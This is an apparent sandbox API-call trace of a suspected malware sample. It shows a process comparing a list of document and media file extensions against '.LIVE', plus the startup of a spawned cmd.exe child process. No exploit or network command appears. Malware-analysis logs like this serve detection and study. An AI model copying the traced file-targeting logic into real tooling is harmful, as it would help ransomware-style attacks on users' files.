[0126.803] lstrcmpiW (lpString1=".der", lpString2="LIVE") returned -1 [0126.803] lstrlenW (lpString=".dib") returned 4 [0126.803] lstrcmpiW (lpString1=".dib", lpString2="LIVE") returned -1 [0126.803] lstrlenW (lpString=".dic") returned 4 [0126.803] lstrcmpiW (lpString1=".dic", lpString2="LIVE") returned -1 [0126.803] lstrlenW (lpString=".dif") returned 4 [0126.803] lstrcmpiW (lpString1=".dif", lpString2="LIVE") returned -1 [0126.803] lstrlenW (lpString=".divx") returned 5 [0126.803] lstrcmpiW (lpString1=".divx", lpString2=".LIVE") returned -1 [0126.803] lstrlenW (lpString=".djvu") returned 5 [0126.803] lstrcmpiW (lpString1=".djvu", lpString2=".LIVE") returned -1 [0126.803] lstrlenW (lpString=".dng") returned 4 [0126.803] lstrcmpiW (lpString1=".dng", lpString2="LIVE") returned -1 [0126.803] lstrlenW (lpString=".doc") returned 4 [0126.803] lstrcmpiW (lpString1=".doc", lpString2="LIVE") returned -1 [0126.803] lstrlenW (lpString=".docm") returned 5 [0126.803] lstrcmpiW (lpString1=".docm", lpString2=".LIVE") returned -1 [0126.803] lstrlenW (lpString=".docx") returned 5 [0126.803] lstrcmpiW (lpString1=".docx", lpString2=".LIVE") returned -1 [0126.803] lstrlenW (lpString=".dot") returned 4 [0126.803] lstrcmpiW (lpString1=".dot", lpString2="LIVE") returned -1 [0126.803] lstrlenW (lpString=".dotm") returned 5 [0126.803] lstrcmpiW (lpString1=".dotm", lpString2=".LIVE") returned -1 [0126.803] lstrlenW (lpString=".dotx") returned 5 [0126.804] lstrcmpiW (lpString1=".dotx", lpString2=".LIVE") returned -1 [0126.804] lstrlenW (lpString=".dpx") returned 4 [0126.804] lstrcmpiW (lpString1=".dpx", lpString2="LIVE") returned -1 [0126.804] lstrlenW (lpString=".dqy") returned 4 [0126.804] lstrcmpiW (lpString1=".dqy", lpString2="LIVE") returned -1 [0126.804] lstrlenW (lpString=".dsn") returned 4 [0126.804] lstrcmpiW (lpString1=".dsn", lpString2="LIVE") returned -1 [0126.804] lstrlenW (lpString=".dt") returned 3 [0126.804] lstrcmpiW (lpString1=".dt", lpString2="IVE") returned -1 [0126.804] lstrlenW (lpString=".dtd") returned 4 [0126.804] lstrcmpiW (lpString1=".dtd", lpString2="LIVE") returned -1 [0126.804] lstrlenW (lpString=".dwg") returned 4 [0126.804] lstrcmpiW (lpString1=".dwg", lpString2="LIVE") returned -1 [0126.804] lstrlenW (lpString=".dwt") returned 4 [0126.804] lstrcmpiW (lpString1=".dwt", lpString2="LIVE") returned -1 [0126.804] lstrlenW (lpString=".dx") returned 3 [0126.804] lstrcmpiW (lpString1=".dx", lpString2="IVE") returned -1 [0126.804] lstrlenW (lpString=".dxf") returned 4 [0126.804] lstrcmpiW (lpString1=".dxf", lpString2="LIVE") returned -1 [0126.804] lstrlenW (lpString=".edml") returned 5 [0126.804] lstrcmpiW (lpString1=".edml", lpString2=".LIVE") returned -1 [0126.804] lstrlenW (lpString=".efd") returned 4 [0126.804] lstrcmpiW (lpString1=".efd", lpString2="LIVE") returned -1 [0126.804] lstrlenW (lpString=".elf") returned 4 [0126.804] lstrcmpiW (lpString1=".elf", lpString2="LIVE") returned -1 [0126.804] lstrlenW (lpString=".emf") returned 4 [0126.804] lstrcmpiW (lpString1=".emf", lpString2="LIVE") returned -1 [0126.804] lstrlenW (lpString=".emz") returned 4 [0126.804] lstrcmpiW (lpString1=".emz", lpString2="LIVE") returned -1 [0126.804] lstrlenW (lpString=".epf") returned 4 [0126.805] lstrcmpiW (lpString1=".epf", lpString2="LIVE") returned -1 [0126.805] lstrlenW (lpString=".eps") returned 4 [0126.805] lstrcmpiW (lpString1=".eps", lpString2="LIVE") returned -1 [0126.805] lstrlenW (lpString=".epsf") returned 5 [0126.805] lstrcmpiW (lpString1=".epsf", lpString2=".LIVE") returned -1 [0126.805] lstrlenW (lpString=".epsp") returned 5 [0126.805] lstrcmpiW (lpString1=".epsp", lpString2=".LIVE") returned -1 [0126.805] lstrlenW (lpString=".erf") returned 4 [0126.805] lstrcmpiW (lpString1=".erf", lpString2="LIVE") returned -1 [0126.805] lstrlenW (lpString=".exr") returned 4 [0126.805] lstrcmpiW (lpString1=".exr", lpString2="LIVE") returned -1 [0126.805] lstrlenW (lpString=".f4v") returned 4 [0126.805] lstrcmpiW (lpString1=".f4v", lpString2="LIVE") returned -1 [0126.805] lstrlenW (lpString=".fido") returned 5 [0126.805] lstrcmpiW (lpString1=".fido", lpString2=".LIVE") returned -1 [0126.805] lstrlenW (lpString=".flm") returned 4 [0126.805] lstrcmpiW (lpString1=".flm", lpString2="LIVE") returned -1 [0126.805] lstrlenW (lpString=".flv") returned 4 [0126.805] lstrcmpiW (lpString1=".flv", lpString2="LIVE") returned -1 [0126.805] lstrlenW (lpString=".frm") returned 4 [0126.805] lstrcmpiW (lpString1=".frm", lpString2="LIVE") returned -1 [0126.805] lstrlenW (lpString=".fxg") returned 4 [0126.805] lstrcmpiW (lpString1=".fxg", lpString2="LIVE") returned -1 [0126.805] lstrlenW (lpString=".geo") returned 4 [0126.805] lstrcmpiW (lpString1=".geo", lpString2="LIVE") returned -1 [0126.805] lstrlenW (lpString=".gif") returned 4 [0126.805] lstrcmpiW (lpString1=".gif", lpString2="LIVE") returned -1 [0126.805] lstrlenW (lpString=".grs") returned 4 [0126.805] lstrcmpiW (lpString1=".grs", lpString2="LIVE") returned -1 [0136.284] FindNextFileW (in: hFindFile=0x8f36f0, lpFindFileData=0x378f58c | out: lpFindFileData=0x378f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x295c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.xml", cAlternateFileName="MICROS~3.XML")) returned 1 Thread: id = 63 os_tid = 0x69c Thread: id = 65 os_tid = 0x6a8 Process: id = "9" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x76d01000" os_pid = "0x538" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x4ec" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e909" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 44 os_tid = 0x53c [0124.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fe90 | out: lpSystemTimeAsFileTime=0x12fe90*(dwLowDateTime=0x5b10d2c0, dwHighDateTime=0x1d5e206)) [0124.433] GetCurrentProcessId () returned 0x538 [0124.433] GetCurrentThreadId () returned 0x53c [0124.433] GetTickCount () returned 0x113030d [0124.433] QueryPerformanceCounter (in: lpPerformanceCount=0x12fe98 | out: lpPerformanceCount=0x12fe98*=6657053339) returned 1 [0124.434] GetModuleHandleW (lpModuleName=0x0) returned 0x4ac60000 [0124.434] __set_app_type (_Type=0x1) [0124.435] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ac87810) returned 0x0 [0124.435] __getmainargs (in: _Argc=0x4acaa608, _Argv=0x4acaa618, _Env=0x4acaa610, _DoWildCard=0, _StartInfo=0x4ac8e0f4 | out: _Argc=0x4acaa608, _Argv=0x4acaa618, _Env=0x4acaa610) returned 0 [0124.436] GetCurrentThreadId () returned 0x53c [0124.436] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x53c) returned 0x3c [0124.436] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x771c0000 [0124.436] GetProcAddress (hModule=0x771c0000, lpProcName="SetThreadUILanguage") returned 0x771d6d40 [0124.436] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0124.436] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0124.437] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe28 | out: phkResult=0x12fe28*=0x0) returned 0x2 [0124.437] VirtualQuery (in: lpAddress=0x12fe10, lpBuffer=0x12fd90, dwLength=0x30 | out: lpBuffer=0x12fd90*(BaseAddress=0x12f000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0124.437] VirtualQuery (in: lpAddress=0x30000, lpBuffer=0x12fd90, dwLength=0x30 | out: lpBuffer=0x12fd90*(BaseAddress=0x30000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0124.437] VirtualQuery (in: lpAddress=0x31000, lpBuffer=0x12fd90, dwLength=0x30 | out: lpBuffer=0x12fd90*(BaseAddress=0x31000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0124.437] VirtualQuery (in: lpAddress=0x34000, lpBuffer=0x12fd90, dwLength=0x30 | out: lpBuffer=0x12fd90*(BaseAddress=0x34000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0124.437] VirtualQuery (in: lpAddress=0x130000, lpBuffer=0x12fd90, dwLength=0x30 | out: lpBuffer=0x12fd90*(BaseAddress=0x130000, AllocationBase=0x130000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0124.437] GetConsoleOutputCP () returned 0x1b5 [0124.437] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ac9bfe0 | out: lpCPInfo=0x4ac9bfe0) returned 1 [0124.438] SetConsoleCtrlHandler (HandlerRoutine=0x4ac83184, Add=1) returned 1 [0124.438] _get_osfhandle (_FileHandle=1) returned 0xf4 [0124.438] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0124.438] _get_osfhandle (_FileHandle=1) returned 0xf4 [0124.438] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4ac8e194 | out: lpMode=0x4ac8e194) returned 0 [0124.438] _get_osfhandle (_FileHandle=0) returned 0xe8 [0124.438] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4ac8e198 | out: lpMode=0x4ac8e198) returned 0 [0124.438] GetEnvironmentStringsW () returned 0x198aa0* [0124.439] GetProcessHeap () returned 0x180000 [0124.439] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xab4) returned 0x199560 [0124.439] FreeEnvironmentStringsW (penv=0x198aa0) returned 1 [0124.439] GetProcessHeap () returned 0x180000 [0124.439] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x198920 [0124.439] GetEnvironmentStringsW () returned 0x198aa0* [0124.439] GetProcessHeap () returned 0x180000 [0124.439] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xab4) returned 0x19a020 [0124.439] FreeEnvironmentStringsW (penv=0x198aa0) returned 1 [0124.439] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x12ece8 | out: phkResult=0x12ece8*=0x44) returned 0x0 [0124.439] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x12ece0, lpData=0x12ed00, lpcbData=0x12ece4*=0x1000 | out: lpType=0x12ece0*=0x0, lpData=0x12ed00*=0x18, lpcbData=0x12ece4*=0x1000) returned 0x2 [0124.439] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x12ece0, lpData=0x12ed00, lpcbData=0x12ece4*=0x1000 | out: lpType=0x12ece0*=0x4, lpData=0x12ed00*=0x1, lpcbData=0x12ece4*=0x4) returned 0x0 [0124.439] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x12ece0, lpData=0x12ed00, lpcbData=0x12ece4*=0x1000 | out: lpType=0x12ece0*=0x0, lpData=0x12ed00*=0x1, lpcbData=0x12ece4*=0x1000) returned 0x2 [0124.439] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x12ece0, lpData=0x12ed00, lpcbData=0x12ece4*=0x1000 | out: lpType=0x12ece0*=0x4, lpData=0x12ed00*=0x0, lpcbData=0x12ece4*=0x4) returned 0x0 [0124.439] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x12ece0, lpData=0x12ed00, lpcbData=0x12ece4*=0x1000 | out: lpType=0x12ece0*=0x4, lpData=0x12ed00*=0x40, lpcbData=0x12ece4*=0x4) returned 0x0 [0124.439] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x12ece0, lpData=0x12ed00, lpcbData=0x12ece4*=0x1000 | out: lpType=0x12ece0*=0x4, lpData=0x12ed00*=0x40, lpcbData=0x12ece4*=0x4) returned 0x0 [0124.439] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x12ece0, lpData=0x12ed00, lpcbData=0x12ece4*=0x1000 | out: lpType=0x12ece0*=0x0, lpData=0x12ed00*=0x40, lpcbData=0x12ece4*=0x1000) returned 0x2 [0124.440] RegCloseKey (hKey=0x44) returned 0x0 [0124.440] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x12ece8 | out: phkResult=0x12ece8*=0x44) returned 0x0 [0124.440] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x12ece0, lpData=0x12ed00, lpcbData=0x12ece4*=0x1000 | out: lpType=0x12ece0*=0x0, lpData=0x12ed00*=0x40, lpcbData=0x12ece4*=0x1000) returned 0x2 [0124.440] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x12ece0, lpData=0x12ed00, lpcbData=0x12ece4*=0x1000 | out: lpType=0x12ece0*=0x4, lpData=0x12ed00*=0x1, lpcbData=0x12ece4*=0x4) returned 0x0 [0124.440] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x12ece0, lpData=0x12ed00, lpcbData=0x12ece4*=0x1000 | out: lpType=0x12ece0*=0x0, lpData=0x12ed00*=0x1, lpcbData=0x12ece4*=0x1000) returned 0x2 [0124.440] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x12ece0, lpData=0x12ed00, lpcbData=0x12ece4*=0x1000 | out: lpType=0x12ece0*=0x4, lpData=0x12ed00*=0x0, lpcbData=0x12ece4*=0x4) returned 0x0 [0124.440] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x12ece0, lpData=0x12ed00, lpcbData=0x12ece4*=0x1000 | out: lpType=0x12ece0*=0x4, lpData=0x12ed00*=0x9, lpcbData=0x12ece4*=0x4) returned 0x0 [0124.440] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x12ece0, lpData=0x12ed00, lpcbData=0x12ece4*=0x1000 | out: lpType=0x12ece0*=0x4, lpData=0x12ed00*=0x9, lpcbData=0x12ece4*=0x4) returned 0x0 [0124.440] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x12ece0, lpData=0x12ed00, lpcbData=0x12ece4*=0x1000 | out: lpType=0x12ece0*=0x0, lpData=0x12ed00*=0x9, lpcbData=0x12ece4*=0x1000) returned 0x2 [0124.440] RegCloseKey (hKey=0x44) returned 0x0 [0124.440] time (in: timer=0x0 | out: timer=0x0) returned 0x5e449b44 [0124.440] srand (_Seed=0x5e449b44) [0124.440] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0124.440] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0124.441] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ac9c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0124.441] GetProcessHeap () returned 0x180000 [0124.441] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x218) returned 0x19aae0 [0124.441] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19aaf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0124.441] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ac8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0124.441] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ac8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0124.441] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ac8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0124.441] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0124.441] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0124.441] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0124.441] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0124.441] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0124.441] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0124.441] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0124.441] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0124.442] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0124.442] GetProcessHeap () returned 0x180000 [0124.442] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x199560 | out: hHeap=0x180000) returned 1 [0124.442] GetEnvironmentStringsW () returned 0x198aa0* [0124.442] GetProcessHeap () returned 0x180000 [0124.442] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xacc) returned 0x19ad00 [0124.442] FreeEnvironmentStringsW (penv=0x198aa0) returned 1 [0124.442] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ac8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0124.442] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ac8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0124.442] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0124.442] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0124.442] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0124.442] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0124.442] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0124.442] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0124.442] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0124.442] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0124.442] GetProcessHeap () returned 0x180000 [0124.442] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x38) returned 0x1964d0 [0124.442] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x12faf0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0124.442] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x12faf0, lpFilePart=0x12fad0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x12fad0*="system32") returned 0x13 [0124.442] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0124.442] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x12f800 | out: lpFindFileData=0x12f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="Windows", cAlternateFileName="")) returned 0x19b7e0 [0124.443] FindClose (in: hFindFile=0x19b7e0 | out: hFindFile=0x19b7e0) returned 1 [0124.443] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x12f800 | out: lpFindFileData=0x12f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2109b880, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x2109b880, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="System32", cAlternateFileName="")) returned 0x19b7e0 [0124.443] FindClose (in: hFindFile=0x19b7e0 | out: hFindFile=0x19b7e0) returned 1 [0124.443] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0124.443] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0124.443] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0124.443] GetProcessHeap () returned 0x180000 [0124.443] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19ad00 | out: hHeap=0x180000) returned 1 [0124.443] GetEnvironmentStringsW () returned 0x19ad00* [0124.443] GetProcessHeap () returned 0x180000 [0124.443] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xafc) returned 0x198aa0 [0124.443] FreeEnvironmentStringsW (penv=0x19ad00) returned 1 [0124.443] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ac9c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0124.443] GetProcessHeap () returned 0x180000 [0124.443] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1964d0 | out: hHeap=0x180000) returned 1 [0124.443] GetProcessHeap () returned 0x180000 [0124.443] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x4016) returned 0x19ad00 [0124.444] GetProcessHeap () returned 0x180000 [0124.444] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19ad00 | out: hHeap=0x180000) returned 1 [0124.444] GetConsoleOutputCP () returned 0x1b5 [0124.444] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ac9bfe0 | out: lpCPInfo=0x4ac9bfe0) returned 1 [0124.444] GetUserDefaultLCID () returned 0x409 [0124.444] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ac97b50, cchData=8 | out: lpLCData=":") returned 2 [0124.444] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x12fc00, cchData=128 | out: lpLCData="0") returned 2 [0124.444] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x12fc00, cchData=128 | out: lpLCData="0") returned 2 [0124.444] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x12fc00, cchData=128 | out: lpLCData="1") returned 2 [0124.444] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4acaa740, cchData=8 | out: lpLCData="/") returned 2 [0124.444] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4acaa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0124.445] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4acaa460, cchData=32 | out: lpLCData="Tue") returned 4 [0124.445] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4acaa420, cchData=32 | out: lpLCData="Wed") returned 4 [0124.445] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4acaa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0124.445] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4acaa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0124.445] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4acaa360, cchData=32 | out: lpLCData="Sat") returned 4 [0124.445] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4acaa700, cchData=32 | out: lpLCData="Sun") returned 4 [0124.445] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ac97b40, cchData=8 | out: lpLCData=".") returned 2 [0124.445] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4acaa4e0, cchData=8 | out: lpLCData=",") returned 2 [0124.445] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0124.446] GetProcessHeap () returned 0x180000 [0124.446] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x20c) returned 0x199620 [0124.446] GetConsoleTitleW (in: lpConsoleTitle=0x199620, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0124.860] _get_osfhandle (_FileHandle=1) returned 0xf4 [0124.860] GetFileType (hFile=0xf4) returned 0x3 [0124.995] BrandingFormatString () returned 0x199840 [0125.000] GetVersion () returned 0x1db10106 [0125.000] _vsnwprintf (in: _Buffer=0x12fd70, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x12fd08 | out: _Buffer="6.1.7601") returned 8 [0125.000] _get_osfhandle (_FileHandle=1) returned 0xf4 [0125.000] GetFileType (hFile=0xf4) returned 0x3 [0125.000] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4aca6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0125.073] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4aca6340, nSize=0x2000, Arguments=0x12fd10 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0125.073] _get_osfhandle (_FileHandle=1) returned 0xf4 [0125.073] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4ac9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0125.073] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac9c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x12fc98, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesWritten=0x12fc98*=0x24, lpOverlapped=0x0) returned 1 [0125.073] _vsnwprintf (in: _Buffer=0x4aca6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x12fd38 | out: _Buffer="\r\n") returned 2 [0125.073] _get_osfhandle (_FileHandle=1) returned 0xf4 [0125.074] GetFileType (hFile=0xf4) returned 0x3 [0125.074] _get_osfhandle (_FileHandle=1) returned 0xf4 [0125.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4ac9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0125.074] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x12fd08, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesWritten=0x12fd08*=0x2, lpOverlapped=0x0) returned 1 [0125.074] _vsnwprintf (in: _Buffer=0x4aca6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x12fd38 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0125.074] _get_osfhandle (_FileHandle=1) returned 0xf4 